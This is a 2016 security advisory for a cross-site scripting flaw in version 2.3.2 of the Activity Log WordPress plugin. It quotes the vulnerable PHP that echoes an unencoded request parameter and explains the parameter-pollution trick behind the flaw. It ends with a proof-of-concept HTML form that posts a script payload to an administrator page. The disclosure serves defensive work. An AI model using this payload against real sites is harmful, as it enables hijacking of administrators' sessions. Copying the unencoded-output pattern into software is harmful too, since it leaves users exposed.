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WordPress Activity Log 2.3.2 Cross Site Scripting

WordPress Activity Log 2.3.2 Cross Site Scripting
Posted Aug 3, 2016
Authored by Yorick Koster, Securify B.V.

WordPress Activity Log plugin version 2.3.2 suffers from a cross site scripting vulnerability in the administrator functionality.

tags | exploit, xss
MD5 | 37b0ce25372f0c6a1c6f8b4b57075e96

WordPress Activity Log 2.3.2 Cross Site Scripting

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Cross-Site Scripting in Activity Log WordPress Plugin
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Yorick Koster, July 2016

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Abstract
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A Cross-Site Scripting vulnerability was found in the Activity Log
WordPress Plugin. This issue allows an attacker to perform a wide
variety of actions, such as stealing Administrators' session tokens, or
performing arbitrary actions on their behalf. In order to exploit this
issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a malicious website.

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OVE ID
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OVE-20160724-0022

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Tested versions
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This issue was successfully tested on Activity Log WordPress Plugin
version 2.3.2

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Fix
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This issue is fixed in Activity Log version 2.3.3

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Details
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https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_activity_log_wordpress_plugin.html

The issue exists in the file classes/class-aal-admin-ui.php and is caused by the lack of output encoding on the page request parameter. The vulnerable code is listed below.

public function activity_log_page_func() {
$this->get_list_table()->prepare_items();
?>
<div class="wrap">
<h2 class="aal-page-title"><?php _e( 'Activity Log', 'aryo-activity-log' ); ?></h2>

<form id="activity-filter" method="get">
<input type="hidden" name="page" value="<?php echo $_REQUEST['page'] ?>" />
<?php $this->get_list_table()->display(); ?>
</form>
</div>

Normally, the page URL parameter is validated by WordPress, which prevents Cross-Site Scripting. However in this case the value of page is obtained from $_REQUEST, not from $_GET. This allows for parameter pollution where the attacker puts a benign page value in the URL and simultaneously submits a malicious page value as POST parameter.
Proof of concept

<html>
<body>
<form action="http://<target>/wp-admin/admin.php?page=activity_log_page" method="POST">
<input type="hidden" name="page" value=""><script>alert(1);</script>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>



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goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.

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